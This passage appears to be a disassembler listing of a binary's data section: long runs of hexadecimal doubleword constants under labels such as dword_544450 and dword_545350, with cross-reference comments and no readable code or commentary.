		dd 0CDDEF8AFh, 48226F1Bh, 0FD1CC93Ah, 4B958048h, 36D7235Eh
		dd 2427BBE0h, 1C448B3h,	0ACEEC1h, 3329E69Fh, 20C407A7h
		dd 0D42BFD2Eh, 3658501Ch, 98AC9DE9h, 54C801A8h,	0D121F8Fh
		dd 0FA24616Ah, 0C1714F21h, 0F6B3C2F8h, 0BD0800E1h, 413EEAFEh
		dd 33DDA31h, 648CA656h,	666040A6h, 0C7E392h, 7FB1294Ah
		dd 98A09D37h, 0DFDEF000h, 4DF7DC1Fh, 0B09A0F46h, 66021FDh
		dd 4CB730ADh, 0CF5CFCA8h, 0F322DD00h, 72708A58h, 9F2E00F4h
		dd 87796668h, 0DCE53A07h, 0B3006986h, 0C021C763h, 27D10158h
		dd 9444499Bh, 4EBA844h,	37C1C8C6h, 7A088166h, 0AED2D006h
		dd 98BF242Dh, 0A02745E4h, 0B2A679D0h, 0AB710338h, 0A75525BEh
		dd 0E71FFE1Fh, 10F27092h, 77A8EB01h, 0E462D8DAh, 0F50C0FCCh
		dd 0B0750632h, 0F4EE0E83h, 84614E0h, 94281107h,	0EB0178B5h
		dd 1EC56427h, 0DD0A709h, 5A7D1F9Ah, 0B2120AE8h,	7202434h
		dd 0C09D6C99h, 0ED56DC38h, 7964EB58h, 804C8327h, 0EEEF73FCh
		dd 0E7970C96h, 0AFE85BF7h, 1D62423h, 2A6BDC96h,	9888415Dh
		dd 0C8803059h, 40AC9684h, 76B0D543h, 0BC4E100h,	470A9F4Ah
		dd 213095Ch, 4C487D25h,	0F3072B27h, 37B13A5Bh, 0D2B3E703h
		dd 0A8D114h, 0B705C64h,	3200BFD4h, 96DED5C5h, 23F01AFh
		dd 5C108767h, 54F1167Fh, 2FA54501h, 77F0C9AFh, 5E5600FEh
		dd 3C328839h, 5A00D5C1h, 0B886FF5Bh, 97D21041h,	480F013h
		dd 0A7003BF8h, 2BB11E8Ch, 2B2845CBh, 0F84B225h,	0C29E7A36h
		dd 581B4EC5h, 6F0EB0DAh, 402E5611h, 0B2276C4h, 89A90FBEh
		dd 26092510h, 0FA907480h, 3A096F7Fh, 0F2EB121Ch, 24FE0308h
		dd 85051E4Eh, 11D2A601h, 57E0134Ah, 0B7CC7BF8h,	0EEFF8B60h
		dd 79D6CD02h, 52B5DAADh, 0F6583AD0h, 0AE502E00h, 0E213B87Ch
		dd 0F5507862h, 0F059A3h, 1921BBE5h, 7D5C1C3Fh, 0B8878084h
		dd 0DC496Ah, 0C898676h,	0AC4B53D8h, 2B1E7EFEh, 1C086515h
		dd 0EC57003Eh, 7B94A987h, 4250D90Eh, 26EF0005h
dword_544450	dd 6007DF0Eh, 189FB888h, 0E216017Ah, 0C001CCAh,	0D0EBD1CBh
					; DATA XREF: ___:off_43D3D4o
		dd 0B04E21h, 0B6639694h, 1E88387Bh, 73E94CC6h, 7C62991Fh
		dd 46EB6A8Ah, 8A298060h, 9BA9C4FCh, 0A2D58300h,	0F4DCCC7h
		dd 0C8914F67h, 38965970h, 13D86D00h, 4CC971BDh,	0A780387Bh
		dd 378FFE23h, 6879690Bh, 605C8FDAh, 0C63F3C80h,	8911391Eh
		dd 0C1169F89h, 0B0001C59h, 6FE4EBF7h, 0E849097Ah, 0D08BBF84h
		dd 215758C8h, 0B2B84E00h, 0B4513380h, 9E2C1806h, 0CF9D90ADh
		dd 9BE8D201h, 5D4E11CEh, 3828002Bh, 90D1AEB8h, 9840A8B6h
		dd 0E38579h, 0E512265Bh, 0FAA5EB65h, 4C098C00h,	6EAF9F55h
		dd 0E578886Ch, 6AE2B903h, 0A8C4688Ch, 9649E5Ah,	0EBC90DFFh
		dd 720FE0C4h, 80E2F845h, 82E99B3Dh, 985D0425h, 0C0170F09h
		dd 0B64D9D58h, 16838096h, 0F8EB3B85h, 7217C839h, 990A3C78h
		dd 0E1ED5F00h, 0B6902091h, 7B80D49Eh, 280D2A1Ah, 0A3FD1F23h
		dd 0BC41C0E9h, 57CD480Fh, 4445ECBCh, 9F09A6C0h,	1591014Eh
		dd 568E815Ah, 202D53h, 6B799EA0h, 0E64E65h, 4B3392B7h
		dd 2F8BAA57h, 0EC26C47Eh, 0A04FD867h, 0F218027h, 80189E72h
		dd 2A54AD13h, 4F007B15h, 0BB498E90h, 0C869F8h, 0AFF672E3h
		dd 9F06392Eh, 6C865Ch, 0B86CCC49h, 252D8978h, 0BCC45824h
		dd 7CDBF700h, 335F9D13h, 0A53B00B0h, 0C91C3698h, 4C08648Fh
		dd 40546AB1h, 725AEE85h, 7B48521Fh, 26002428h, 632E0E8Ah
		dd 96B75F9h, 4689C9F1h,	41A52490h, 0FE040307h, 0CF904CF6h
		dd 17693E6h, 7DD3AD49h,	21FA7890h, 3B50D128h, 0E5115821h
		dd 7B3EB8BEh, 13273502h, 6CC02EA6h, 2413B4A7h, 385738B1h
		dd 371088h, 564BC539h, 0BC33EAF7h, 72D0F500h, 2E5B1317h
		dd 0CDD20132h, 0CA1FE02Ch, 9843223h, 0D1C78384h, 9ED300B4h
		dd 0C85D72E7h, 74CE9100h, 7BEBC078h, 759FA66h, 5614DE7Eh
		dd 0E555A235h, 9283705Ah, 9AA9FEA8h, 9D808091h,	0EDDB0112h
		dd 6C641DF4h, 3030D8D6h, 46559165h, 0C7544CF0h,	951CEB00h
		dd 0FD39BC53h, 30E31DD5h, 80499F6Bh, 5986462Ch,	0E01D2E8h
		dd 0DAB4AE6Ah, 886026B1h, 8BD72996h, 4B0A83D0h,	0E7DB06E6h
		dd 98F03780h, 23550425h, 83355A20h, 0F82988BFh,	2B1107EEh
		dd 41B5D18Dh, 39976674h, 0B4D45018h, 8FB11904h,	48B2EB1Ah
		dd 98287901h, 6B356987h, 0D59E0C30h, 6CBE5111h,	30C216Ah
		dd 286A6045h, 0B054CB01h, 0ECB5A4A9h, 80D2D721h, 0BD38312Ch
		dd 2CE601D6h, 435FBEFBh, 0A03315h, 0D10968B0h, 0B796720h
		dd 6F41CBCFh, 10440410h, 0EB5E800h, 0B43268C9h,	3731005Bh
		dd 51A5E174h, 0B3E48A89h, 0B5128579h, 2491D924h, 1062F657h
		dd 28CEB300h, 1A47138Eh, 0D021AA00h, 63909BFBh,	4BEB5A56h
		dd 5B801168h, 77F270ECh, 1600F3F4h, 0BF25299Fh,	23AFA88h
		dd 36F4E706h, 1C435783h, 51DF16B8h, 5C686D15h, 1A911F8Ch
		dd 5DBDABC0h, 8C5EC6h, 2CEBFB4Eh, 18A00111h, 45C41950h
		dd 1B064209h, 919402D7h, 8040DC54h, 0C78090F0h,	6B0BB0A4h
		dd 20207115h, 0E698139Ch, 9F6C1758h, 0A288129Eh, 0C0AC0128h
		dd 7D30EC35h, 0B6018029h, 911BA178h, 2E0EF58h, 900249F0h
		dd 3D6BFC26h, 40E05CE7h, 4C5B28EDh, 220084E6h, 63BE15E9h
		dd 26F06F2h, 10C90448h,	54D26907h, 6DBBBD00h, 9F4C3213h
		dd 220F0958h, 54818004h, 60E31185h, 0E52956DEh,	9300C4E6h
		dd 23BBA378h, 0C60E17E0h, 205C172Eh, 315FF7D8h,	0DF186A03h
		dd 0F8D9DB9Bh, 3F028449h, 3F04C616h, 0FD2499D3h, 288BE8h
		dd 718FADF0h, 80D09E69h, 389A7598h, 0A000F7AFh,	70222ECh
		dd 25D98F24h, 1C686966h, 0B4EE203Ah, 0E81EF402h, 0C041E07Fh
		dd 0C0656778h, 541C0E58h, 0CA0F40D3h, 72B499BEh, 0A60E68A2h
		dd 0F12089D5h, 1644C214h, 0CBEC7000h, 0E9C3AEE4h, 473F17D1h
		dd 72A00913h, 2255D4E8h, 661ED1Fh, 0C359F207h, 0A7C0B035h
		dd 4D420DFh, 9BEB2C6Bh,	0C468CCCDh, 53A69D00h, 7CFA62BAh
		dd 146A095Dh, 6CC48C07h, 0C5055800h, 4E0D874Ch,	0B4B74846h
		dd 50D45580h, 10977DD2h, 6C0FC0h, 8F129C0Bh, 0B2CBB192h
		dd 0E7FFBC00h, 1458013Bh, 40E1506Ch, 0A89156h, 7252DC39h
		dd 30B29CAh, 10B747FCh,	25FEE8h, 8395D8B3h, 30CA57CFh
		dd 500F1700h, 581E6A81h, 0ECB7F446h, 0B4253319h, 24E03EB9h
		dd 674FE884h, 4DD05CD7h, 7CD2235h, 0EFA46B5Bh, 63D2B07Dh
		dd 3CE8DAA0h, 9FA06F5Ch, 23DFF280h, 0E248FAh, 6B8FBF46h
		dd 0E393B00Ch, 98A448h,	0A62D2AA7h, 0B83C5FE2h,	0B09D00A8h
		dd 0CE2039EEh, 5202CF9Fh, 5CE1F5CCh, 91C8F835h,	0F6AE80E8h
		dd 0CBBDDCBEh, 0D1B7FE00h, 1880A681h, 8D080227h, 0B648C51Bh
		dd 0C475C844h, 0A847EA02h, 0C5D9250Ch, 1C00BC74h, 5318AC98h
		dd 400F3D0h, 54F186AEh,	3C458E74h, 3F89362Eh, 0FC0FAFF8h
		dd 0D8646929h, 781E15FCh, 2540CFF9h, 29EEEDD5h,	65581269h
		dd 0D8E29Bh, 0DD14C267h, 0B38A23h, 0FA7791B6h, 1F08BCE8h
		dd 0E6CE504h, 6888B5E3h, 2A85008Dh, 767EF677h, 0D4F82D42h
		dd 210A1300h, 65593E61h, 0A67479h, 88BDFCE2h, 0F80F2785h
		dd 10125724h, 1B37C680h, 4ED95Bh, 52D2BF99h, 3D8494B6h
		dd 0CE0B9C98h, 59285624h, 0AC5A076Ch, 0C858B925h, 0F7E8CC00h
		dd 0A37EB388h, 0D5112CBEh, 1E8760F4h, 0DD274FAEh, 78DC2858h
		dd 0B1E6C500h, 372FDF07h, 0C921B567h, 40AA5C84h, 12E47B6Fh
		dd 5C620223h, 1D426524h, 0E20084D1h, 8B63B38Ch,	0A7110ED4h
		dd 4093A3FFh, 0EB50C297h, 6A163F94h, 0F0B21481h, 0C0591B1Dh
		dd 0F2D7A23h, 0B43EDE76h, 0A27982A4h, 405C750Bh, 97B0DC6h
		dd 0C96BE47Dh, 685E4092h, 0E12CC240h, 0B5C42D5Bh, 0B49C1C68h
		dd 3AFB1800h, 0DD508FC8h, 0C2AC1E5Dh, 0A28B82EDh, 0C60660Fh
		dd 1F59E302h, 45278480h, 6A6C8853h, 4D1CF5B0h, 0C45CFEDDh
		dd 0AF076FC0h, 18E77C30h, 4153B5F8h, 1100945Fh,	7139CF1Dh
		dd 0FA2761h, 0B520C2BEh, 0AB93C874h, 0F8BF9C14h, 69B608D4h
		dd 41541B72h, 0FFA820C5h, 330070CDh, 1CA901B7h,	59EAC57h
		dd 19CA4C5Dh, 8FA4BC2Ah, 7107602Eh, 2C436D8Bh, 20CA290Fh
		dd 0B65E009Ch, 5C8D2CA1h, 5CB91A37h, 5FDDCC87h,	4B7D3CD0h
		dd 0FA9F0214h, 59AB551Ah, 79CEB448h, 0D14474B0h, 0F0A779Eh
		dd 44B63FCCh, 159BD5E0h, 5D00C940h, 0DF4E101Eh,	0B4DD5705h
		dd 959D80ECh, 35928359h, 14939000h, 0B6EEA624h,	26F70E2Ah
		dd 7C00C92Dh, 4CE01DF8h, 0B160C60Bh, 95EC02D3h,	0AD50F166h
		dd 4DC74890h, 8B658A38h, 3F90F48h, 0D7F4EBh, 2D723FCEh
		dd 0E29D130Eh, 1EC89A00h, 0EE46AB86h, 1DBE00F4h, 125BEF05h
		dd 2138D1BBh, 44C5Ch, 0F98662E5h, 407C057h, 730ABAFEh
		dd 280AC4Ah, 0D6679172h, 4448C014h, 561F17DFh, 0FA84F4F3h
		dd 77FEBB16h, 0AC4CC0B3h, 2401274Ch, 0E942218Ah, 0EDEBF8E5h
		dd 10B5F47Eh, 1EC06508h, 4990711Bh, 8C10B507h, 0DF00C411h
		dd 0F5181627h, 1FFD4CE9h, 3E19BF81h, 5AC5AA6h, 0C06FD84Bh
		dd 553686E4h, 0A0AF6700h, 52C3D9Ch, 25397A3Ah, 0C4A046FEh
		dd 1CD80F8Fh, 58BFBE00h, 6C4139EAh, 88B0067h, 0C2C185C3h
		dd 0FB5824FFh, 252804D8h, 9DC4960Dh, 10A1488h, 0ADA54088h
		dd 281018CBh, 1ADF8048h, 0FC5C19h, 0F91F374Dh, 82BDC6F4h
		dd 1EE82114h, 3D9508BCh, 27809ABh, 1480CCD1h, 0BDC9A6D2h
		dd 0F1DC026Fh, 66AA0223h
		dd 7CBE1081h, 0D4B0E0A5h, 801C5C3Eh, 576886EEh,	0BCE9CE0h
		dd 4311A616h, 0D03578D9h, 89025A80h, 78D3E6D7h,	58EB51B9h
		dd 0A48800C3h, 0DC1C3A01h, 112D64ADh, 501018D9h, 0EF880029h
		dd 0ED562773h, 874CB899h, 205C421Ch, 0F58200ACh, 4578BE77h
		dd 2B029752h, 1A1F7FECh, 9A6840C1h, 0B50F10DBh,	6B3E0056h
		dd 582F7AD2h, 0DCA5003Ah, 3F96CD05h, 2500774Ch,	0CCEF0783h
		dd 7E22CAh, 5E1ABAA6h, 4F562B41h, 1E037C99h, 0D075D7CBh
		dd 0F28F991Dh, 581425A2h, 7CAF80AFh, 0CB73BD40h, 87076204h
		dd 0FACFCC95h, 0AAC968A0h, 892D0ABBh, 279066C6h, 74094410h
		dd 5BF85000h, 0A5A90ED7h, 78EBF224h, 0EE1003BCh, 230180BFh
		dd 884774DFh, 3F79FE30h, 0B5513700h, 0C8E3048h,	0BB67381Bh
		dd 12226301h, 0D4A5E276h, 0CA78EFF2h, 9E01302h,	0F669AF93h
		dd 1A4D80ECh, 0AC104FD4h, 922B7F00h, 6C45E2D0h,	0E9E8043Ch
		dd 0A891A4EAh, 57A58318h, 0CE2FA8FCh, 18F802EBh, 24CFC4B0h
		dd 0C9009051h, 74C4506h, 4E09003Ch, 2E7476B7h, 1A030A2Fh
		dd 0E54F9D22h, 81C94A80h, 3C8B1688h, 0F4AB80B8h, 0E6F7C4A1h
		dd 98080D77h, 211C1FF5h, 7E56C931h, 0B7FAD820h,	442A069Ah
		dd 0A95FD255h, 21EA5630h, 39B117h, 98CE1B24h, 0F6A358B6h
		dd 100377F0h, 67761699h, 0F420DD02h, 247C7EE7h,	4381AD1h
		dd 0CC869DADh, 0A616C4CCh, 0B0001037h, 323BCF95h, 0A9990FA5h
		dd 2066C69h, 0D4848130h, 2CD47300h, 0A08D90CCh,	0D75A00D3h
		dd 8879782Ah, 0F400F5B0h, 7223EE3Bh, 5AA9F9ADh,	3FC08CB3h
		dd 0EE561905h, 26C2E220h, 947A53h, 0F492C093h, 2BF1D97Bh
		dd 90739E25h, 659D7Ch, 4A3D1395h, 19C31730h, 0CEB1E800h
		dd 0E1FD2E53h, 90B74C36h, 390C9824h, 0F40441A7h, 0EB0AD72h
		dd 20CA3D8Ah, 69941DDEh, 4009824h, 35182A7Ah, 9334D042h
		dd 6CB03946h, 5022D490h, 98CB0EAh, 48DE1A1Ch, 0B11648A0h
		dd 0BC9C7DEEh, 0E042AD40h, 832F35F1h, 0FBBA8030h, 10003CBBh
		dd 11BD7875h, 0A76BDDh,	0D37490B2h, 5CBBC9AFh, 0E244158h
		dd 0F7796686h, 24CBC806h, 3CC00168h, 0D6251A9Ch, 48C0145Fh
		dd 0B47EB138h, 1C84A34h, 3B4ECC55h, 806C3874h, 0C4CDF9Dh
		dd 44E400F7h, 0EF8009B9h, 2E0036F4h, 6D410E7h, 693898h
		dd 79D0F352h, 5E354FC4h, 0D4472CBCh, 0C32BFB60h, 0E6EC91h
		dd 2DBD6DF0h, 0B6B427FFh, 0DE0F6E73h, 273A1B41h, 13C30205h
		dd 0D8A004BEh, 0BC66EB6Ah, 0A7558008h, 3ABD139Fh, 0C15E7343h
		dd 7E1DB734h, 91618820h, 4CF90F53h, 0A7A0DF7Eh,	1870D92Bh
		dd 441E3227h, 0E67ABCh,	0B43A8C3Dh, 0B2449D0Ah,	0C2809499h
		dd 61F5CC17h, 40C900DCh, 0FE16B442h
		db 14h,	86h
word_544F42	dw 3B04h		; DATA XREF: ___:off_435E10o
		dd 0B5D106E1h, 273C5098h, 506085C4h, 0EC324F97h, 647BB987h
		dd 775D0070h, 0A0D36B5Eh, 1D7E5AA5h, 0C13D2703h, 0C014BE82h
		dd 96E489Fh, 0F6873C9Ah, 13A0F282h, 1011446h, 0F23A105Ch
		dd 2A4BE0h, 250F370Ch, 14B89A2Bh, 0B224AC16h, 54BCE824h
		dd 80FFA985h, 0F44FA63Dh, 3B110403h, 0A8BF0283h, 97547B0Dh
		dd 0B15A10A0h, 230089ECh, 26B532AFh, 0D6A28h, 52E03DDEh
		dd 0CB5BABA4h, 0FFC81400h, 98E41776h, 0B34A0F1Fh, 7980CEEBh
		dd 0F83ECFBh, 0B6F49300h, 0E56D2091h, 8D2303E0h, 0ED5D8EA6h
		dd 12042003h, 59301C5h,	900AA810h, 67AC0C4h, 8063F9B3h
		dd 80D34D29h, 18B6C24Eh, 19888498h, 0DD00A90Dh,	1E455F6Ch
		dd 7251C84Eh, 0BDA3058Ch, 80D920CBh, 89D77904h,	0C8748A3h
		dd 0FDE06671h, 55CE0CA0h, 0E66C8801h, 6B95CC8Fh, 0C7984D4h
		dd 0B19B08BCh, 0F5167E29h, 400063E5h, 0B6C81EA2h, 3B2113F6h
		dd 26806ADh, 0ED0028A8h, 72C10B3Dh, 18DAAA1Ah, 7903C8CAh
		dd 290041B3h, 3F32597Bh, 0ADFB7BAh, 9AD40F81h, 0BFE10054h
		dd 264CF6CCh, 0D7006872h, 0B505C8D8h, 0E8D2Fh, 358B7A8Ch
		dd 0F5BDCA6Dh, 21AD3C05h, 9C08BC05h, 0E49A8C88h, 1101D951h
		dd 6CDA18C7h, 3FF49908h, 0CB7127h, 0BCD8792Bh, 365E87FDh
		dd 2139B073h, 9D3075D5h, 7BCE41B3h, 0A0285078h,	742D0586h
		dd 0A03611h, 44928858h,	0C43C2E4Fh, 0D9C8EC1h, 0D0D4E071h
		dd 932CADh, 34A6F6EEh, 3FD59F03h, 0B1844903h, 0FC78C541h
		dd 6696E900h, 0CC391AD7h, 0C4B5001Dh, 2D16FB7Bh, 0EED3305h
		dd 0F0CAF828h, 0F38C40DDh, 0D0D800B6h, 0E7816274h, 3B0C5BADh
		dd 99861378h, 0C8AB5405h, 0EA2B009Eh, 0B10C44FFh, 0F51D4932h
		dd 8E0E3E60h, 8F161F91h, 1EC05100h, 2D9A312h, 7B3FE3ECh
		dd 0A8A28C84h, 0CB604B76h, 1A3C089Bh, 0A90380EAh, 8BF628B1h
		dd 8FD500FCh, 6720B568h, 9E00F71Ah, 8358AF46h, 30792D6Ch
		dd 0D6998EDDh, 1F1EE80Dh, 0C48F4A55h, 9B8F8148h, 8822C8BDh
		dd 9819AD00h, 4761FF44h, 1905C532h, 383460F2h, 1F08003Eh
		dd 84FDE7F9h, 13022196h, 47B10BAFh, 99B08085h, 9181A63Fh
		dd 500500B8h, 74892F98h, 38C8054h, 6AB7A700h, 6FB04AF3h
		dd 52E0049h, 0D507D01Ah, 0E03BFA9Bh, 0C0F02A3Dh, 0A7DA7100h
		dd 0AEF747F9h, 1B69013Bh, 40A33038h, 6FB8CCDFh,	4458BB00h
		dd 0C5140452h, 0D8B9C067h, 0C4E2CE05h, 422FDC00h, 34B04D7Bh
		dd 6021D40Dh, 66987300h, 2F9BBFD0h, 0BE308B1Dh,	4E9D2A0Eh
		dd 80EC74A4h, 49E20907h, 15050E0Dh, 97209477h, 0DCCE8AFCh
		dd 0A567317Ah, 9C7042E1h, 2448D4Ch, 2EDB9D0Dh, 36403233h
		dd 0A0001FD8h, 30A4D38Fh, 60057EAEh, 0E50839A9h, 1E0395ECh
		dd 9718D078h, 1615982Ch, 0A87F5487h, 38F70020h,	7511D876h
		dd 7700E3BAh, 0AFE63C31h, 0E220BF27h, 12EC9Fh, 0E8F42CC0h
		dd 460E51Ch, 8730A071h,	0B4E64985h, 8FB000D1h, 0DCBB22EEh
		dd 5499C5D4h, 5A5C1707h, 8AE4A181h, 0B0A35820h,	32A9028Fh
		dd 1229C12Eh, 40AD9060h, 879E7308h, 0B7768980h,	0C09F3A04h
		dd 0B212DA6Eh, 49092478h, 1086A1F4h, 1E2EF86Ch,	80CB6281h
		dd 8A6BCE21h, 6407DAA6h, 934E6A65h, 88F5F000h, 907F5474h
		dd 217901CEh, 48E08D6Dh, 42A4E0B0h, 21A60230h, 910A98h
		dd 0CD998C6Bh, 7FC4DF65h, 2CDC9500h, 0F6A69D2Bh, 58404CD3h
		dd 34639322h, 818278h, 0C30A1211h, 0CB32D13Bh, 36296660h
		dd 2CA342C4h, 9C5F8E1h,	0F8160479h, 80CCB43Eh, 90E84450h
		dd 520A137h, 80081C13h,	318049Bh, 0BB82C066h, 2D05EFF5h
		dd 42A7B849h, 9703A813h, 8E879889h, 0E0A31E91h,	903B40B4h
		dd 85A2498Bh, 0D3D90100h, 99F276EFh, 0D150002Eh
dword_545350	dd 514BD538h, 70A44684h, 8037322Ch, 21160820h, 5008E767h
					; DATA XREF: ___:off_43D394o
		dd 0B6D380B1h, 0C89D036Ah, 33291A61h, 3FCCB390h, 0C0C738DBh
		dd 0E33CD080h, 1291E0F6h, 251C81FBh, 0A6DF2FA0h, 52F5D5C8h
		dd 3C2E98FDh, 3B730022h, 84959217h, 0CF818AF5h,	0D81CFF25h
		dd 46A4AE00h, 905FA1F6h, 92F70CA6h, 7299889Ah, 7B394200h
		dd 821940E8h, 464E0531h, 0C03CC292h, 9F8C0ADAh,	1E122D13h
		dd 0C1D0EC00h, 0E8D39673h, 1546243Bh, 1C0C40ACh, 63046C7Ah
		dd 5C37D520h, 0A8312C81h, 908CB010h, 0F8619200h, 0DA7B37FCh
		dd 0BE6D0039h, 0B0356AF9h, 9812E893h, 68004C2Ah, 29CE459h
		dd 4E41C0A7h, 0D7A1D3F2h, 23B61B02h, 41A3E99Dh,	8A107D20h
		dd 66004102h, 0AA4B1E3h, 0FE1EADh, 0AEE8C2E0h, 0BC84E1C3h
		dd 566B017h, 609B1022h,	18880B85h, 48981403h, 0A4AA8D87h
		dd 0B548F580h, 8B000999h, 6A5CF00Ch, 8D61Dh, 5BD3E1B6h
		dd 234D79Ah, 3D004C99h,	0B7082BD2h, 0ACA304C5h,	8C01668Bh
		dd 7C3ABA04h, 2BB017Fh,	0E2988E4h, 9C8CC180h, 1878D0A0h
		dd 4E1690C8h, 3BCE00F1h, 391272C9h, 75643FBFh, 263A2Ch
		dd 0CD8FA9A1h, 18B09525h, 45530C00h, 39977315h,	0A38B0048h
		dd 829ECA3Fh, 96011BBEh, 8A114C03h, 0EB8478h, 0CB398161h
		dd 0CAE74E57h, 7DBB607h, 19401FF9h, 236EBF5h, 0D0B2906Fh
		dd 0EC608457h, 4D00FD1Ch, 7088D37h, 912BF48Fh, 0FF183A50h
		dd 0A08DF9EFh, 0EBD52E03h, 0C5397312h, 34F514D0h, 0FA668805h
		dd 2417A4B1h, 2E730405h, 3C9C8Ch, 0BD182DC5h, 0F4AD7ADCh
		dd 77C2D805h, 0D0CC3016h, 23591CECh, 6FBD0006h,	0BA8F9B32h
		dd 909A012Ch, 87AC6D08h, 0A3C08B49h, 8FF29803h,	0D5871CE3h
		dd 6A4818C8h, 0A0004188h, 3F9DFB1Dh, 181E14E5h,	0C0B1D58Fh
		dd 0DC5407B5h, 9E0075E0h, 0BA43F7D3h, 0F6132E05h, 0C454005Ah
		dd 0B9AB6014h, 0D34C20CDh, 1B10CF4h, 24D24A2h, 3DBDFEC9h
		dd 30E3B7A0h, 0B2A080B4h, 92A786Ch, 64C88FCh, 38E180C0h
		dd 0B988DAh, 0D4105F2Fh, 8AD4597h, 0C0D0732Eh, 31624400h
		dd 328978h, 1305290Ch, 382E63DEh, 941E1501h, 0E49D5AB4h
		dd 0ACF88FC9h, 266D7D20h, 0F907ADAh, 0C865E191h, 0D084417Ch
		dd 0D4C4173Ah, 8000BFFAh, 91293B63h, 9390CA5h, 7CA038Fh
		dd 8494D410h, 0B724F000h, 0D8B3B8C9h, 801B0058h, 2873ACBBh
		dd 90985239h, 0DDD12306h, 0F39B402h, 7EB043ABh,	0D5A27F01h
		dd 315070E8h, 684DB8A0h, 0A3BCFD00h, 88672D8Ah,	86C22624h
		dd 0DA3B40E0h, 3703CEFAh, 0D04E4762h, 0F7923A9Ch, 0D4873E81h
		dd 614DBBE2h, 0C33D0ACh, 40A1CD2Eh, 0BFE4996h, 6890C8DBh
		dd 0A002E2Bh, 0B75AFF25h, 4D9FEF1h, 6DBE4116h, 89648037h
		dd 3D003224h, 2C968546h, 0B8233B36h, 0A4A70427h, 0EB97B18Fh
		dd 0B89C4501h, 80FBC9C6h, 90CAB9h, 0AD13FBD2h, 0EADD783Ch
		dd 0C8A2F0A8h, 0C7816460h, 0A31C42h, 0A1E3CB84h, 926AD937h
		dd 792B7A0Ah, 8D40CCC6h, 428A64h, 478132B9h, 0D212997h
		dd 0CE6CF700h, 9C694384h, 2CBF482Ah, 45D5D980h,	0B970D878h
		dd 0C4A4100h, 48AC8ED4h, 9B3E259Dh, 0B19FC20h, 1A0E7428h
		dd 837BC177h, 0B08D1473h, 56DBDD6h, 35F38C39h, 0FA1C30BEh
		dd 180042D3h, 0E2DA2813h, 1DB387A7h, 0C09D32B8h, 0E620266Eh
		dd 230B02Ah, 0A282C90Ch, 0DC785C60h, 80C4A429h,	0E8F16C43h
		dd 5B00EECEh, 56CD96B6h, 48822D77h, 9424C035h, 704F0058h
		dd 9CF6C125h, 21B4D102h, 667C47D0h, 0DCF23FE4h,	43A6B580h
		dd 0C8483153h, 0F43AB200h, 0B69839C4h, 0F27909C0h, 10993088h
		dd 4A52ECF6h, 6620F500h, 502CCBBAh, 32B600EFh, 0EB710536h
		dd 1104B523h, 2FF5A9F4h, 0DA8488C0h, 195E09CAh,	0D84059A7h
		dd 0FD25F48Bh, 4B88100Eh, 78457627h, 80C0996Ch,	706D6974h
		dd 0B700A8D9h, 0D79D7BBEh, 216619h, 3A10852Bh, 2D80AAB5h
		dd 0CAD48300h, 4475158Bh, 4DE5027Dh, 7EC50BCBh,	0E789D20h
		dd 1685009Bh, 81E9EBB0h, 0BD3A979Ah, 86F08C89h,	3E7984h
		dd 9284693h, 0BAAE5EEFh, 0E800A878h, 0B9CEB04Dh, 0B12C8B38h
		dd 1C8714B4h, 0FCC79600h, 0DD05D4C5h, 0CB8F7D09h, 3C440BBh
		dd 0B0D0FEA1h, 0D7200FE8h, 6782996Ch, 0C443508Dh, 629A55E1h
		dd 51CF00C4h, 1DEAEBF3h, 7488158Ch, 0CB27C4B1h,	0F078B022h
		dd 0A66AFD40h, 3A4984Ch, 0FB504CB3h, 696824A2h,	0DCE904CCh
		dd 990C805Dh, 7C022221h, 0B341A28Fh, 81F052E4h,	0A6137EF4h
		dd 31F861E6h, 0F36D2500h, 8C953F4Ah, 24B13FCCh,	0BA2E2600h
		dd 1E167D5Ch, 131FF500h, 4995F4A0h, 0D0126141h,	0F9975AC1h
		dd 0C7584426h, 510E8099h, 5E051F12h, 0A4400D7Fh, 13E4A030h
		dd 9F5500EFh, 99541FB2h, 8E0E4B97h, 0A4846A9Dh,	0C4CC8D25h
		dd 81160004h, 97868EC0h, 4B03BC19h, 0A584F59Fh,	0D445BF94h
		dd 38708405h, 1541B000h, 34B7AAh, 79A09FC2h, 0F6B3ADD8h
		dd 0C88ABA0Bh, 0EE30A132h, 50DC68F4h, 753000A6h, 5C57478Fh
		dd 2F029517h, 4B69BFBDh, 12C59B9h, 31EA9EFAh, 5FE2C87Fh
		dd 384CF00Eh, 8CAF01E1h, 0B5E89F8Dh, 0CB9008Fh,	3692D362h
		dd 896087A0h, 4073C841h, 82520010h, 8FD3129Ch, 5B07FD6Eh
		dd 0CA42032Ah, 418CFA0h, 0DEB40448h, 0E427F5B5h, 0D0076628h
		dd 8AF7A017h, 9A095641h, 0C50F683Dh, 1B80ABA9h,	31F0F79Dh
		dd 9A2208EEh, 58C0088h,	137B6C58h, 0D500571Ch, 30042089h
		dd 0C908EBAh, 5C8DA621h, 6C0088A9h, 0D3423F2Fh,	0FA30682Ah
		dd 2DFA04C3h, 0E2B6E0B4h, 973A5Ch, 0D7468C6Bh, 3C494CA5h
		dd 6D846E92h, 0B0D129CAh, 0F100B2F0h, 0FCB2748h, 21F95F8h
		dd 887A81BDh, 4848820Ah, 9D50402Ah, 621C7358h, 37C0CCD2h
		dd 169635D1h, 0C375FDh,	5BCAF06Fh, 5C599AA6h, 8020C558h
		dd 0AFA58C4Eh, 0C9A01C9Dh, 0B02B8073h, 70154CB6h, 0FE0C430Bh
		dd 1D84626h, 3CA3CEE7h,	6897A005h, 209D0138h, 40DCA713h
		dd 70D0BA45h, 965CE6A6h, 87C24174h, 0C611807Bh,	0BA2D3863h
		dd 43C0127Eh, 84C40047h, 669A97E6h, 2037135Bh, 0C024C01Eh
		dd 0F0F5C585h, 6E940154h, 5089FE22h, 80C838F7h,	0C916351Eh
		dd 0A27607ABh, 0CF0BC324h, 51E29A66h, 0CAF14800h, 0A895A4E7h
		dd 25F52CD1h, 58E14F30h, 80A62A98h, 520E870h, 1667B648h
		dd 3B89C3h, 2DD0C088h, 9D1495CEh, 2EF84558h, 3C891841h
		dd 325C54EDh, 0D8648751h, 55B01500h, 5FC78552h,	7ADB8B1h
		dd 40D3BF74h, 35C0BE42h, 6ACBDFA0h, 135FD14Ch, 3C32AB0Bh
		dd 0F48F2192h, 2106326h, 79F5E0D9h, 0B8885201h,	90D8B098h
		dd 3C83909Ch, 6384F776h, 0E82109BDh, 0CD4201C5h, 6A2AD67Bh
		dd 2E5E74F0h, 1658F6A4h, 0CB0C9231h, 46002864h,	0CEB8403Bh
		dd 6F2249h, 6BC879F2h, 0B463D2F4h, 4A80220h, 0A68D33BEh
